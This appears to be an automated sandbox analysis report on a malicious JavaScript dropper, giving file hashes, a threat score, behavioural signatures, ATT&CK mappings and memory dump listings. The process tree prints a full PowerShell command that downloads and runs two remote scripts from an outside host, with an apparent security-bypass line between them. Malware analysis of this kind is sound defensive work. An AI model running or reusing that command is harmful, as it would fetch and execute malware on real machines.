5502cc5382808703741bab1ece9fdfcf6d9a285df836fd79ea0539dc6adc7c5d

Analysis

max time kernel
100s
max time network
203s
platform
windows11-21h2_x64
resource
win11-20240412-en
resource tags

arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system
submitted
15/04/2024, 18:04

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General

Target

selliformBJj.js
Size

1KB
MD5

07a0e9b13f01dd499410c47f307df342
SHA1

7b1b11726a212528009861b6231e44b2d231a605
SHA256

5502cc5382808703741bab1ece9fdfcf6d9a285df836fd79ea0539dc6adc7c5d
SHA512

f9710132a793a9709f5779c0c34376d0b1ef66723bde42271912bf80d87889b1bbc13ff6c179ba00b4f121deafff59a1f61dd54a1c0f404523de0ae4fee08ec5

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
13	2956	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2956	powershell.exe
2956	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2956	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2476 wrote to memory of 2956	2476	wscript.exe	82
PID 2476 wrote to memory of 2956	2476	wscript.exe	82
PID 2476 wrote to memory of 2956	2476	wscript.exe	82

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\selliformBJj.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2476
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$env:paths = '7zDAPOI3NY9Z'; IEX(IWR -UseBasicParsing 'https://prayas.co/assets/prodigya7Oi.ps1'); $f.SetValue($null, $true); IEX(IWR -UseBasicParsing 'https://prayas.co/assets/sheilingUe02.ps1')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2956

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jleph45w.dtd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2956-7-0x00000000061E0000-0x0000000006246000-memory.dmp

Filesize
408KB

Download
memory/2956-16-0x0000000006290000-0x00000000065E7000-memory.dmp

Filesize
3.3MB

Download
memory/2956-4-0x0000000005AB0000-0x00000000060DA000-memory.dmp

Filesize
6.2MB

Download
memory/2956-5-0x00000000058E0000-0x0000000005902000-memory.dmp

Filesize
136KB

Download
memory/2956-6-0x0000000005980000-0x00000000059E6000-memory.dmp

Filesize
408KB

Download
memory/2956-1-0x00000000052F0000-0x0000000005326000-memory.dmp

Filesize
216KB

Download
memory/2956-2-0x0000000074DE0000-0x0000000075591000-memory.dmp

Filesize
7.7MB

Download
memory/2956-3-0x0000000005470000-0x0000000005480000-memory.dmp

Filesize
64KB

Download
memory/2956-17-0x00000000067C0000-0x00000000067DE000-memory.dmp

Filesize
120KB

Download
memory/2956-18-0x0000000006800000-0x000000000684C000-memory.dmp

Filesize
304KB

Download
memory/2956-19-0x0000000005470000-0x0000000005480000-memory.dmp

Filesize
64KB

Download
memory/2956-20-0x0000000007DF0000-0x000000000846A000-memory.dmp

Filesize
6.5MB

Download
memory/2956-21-0x0000000006D10000-0x0000000006D2A000-memory.dmp

Filesize
104KB

Download
memory/2956-24-0x0000000074DE0000-0x0000000075591000-memory.dmp

Filesize
7.7MB

Download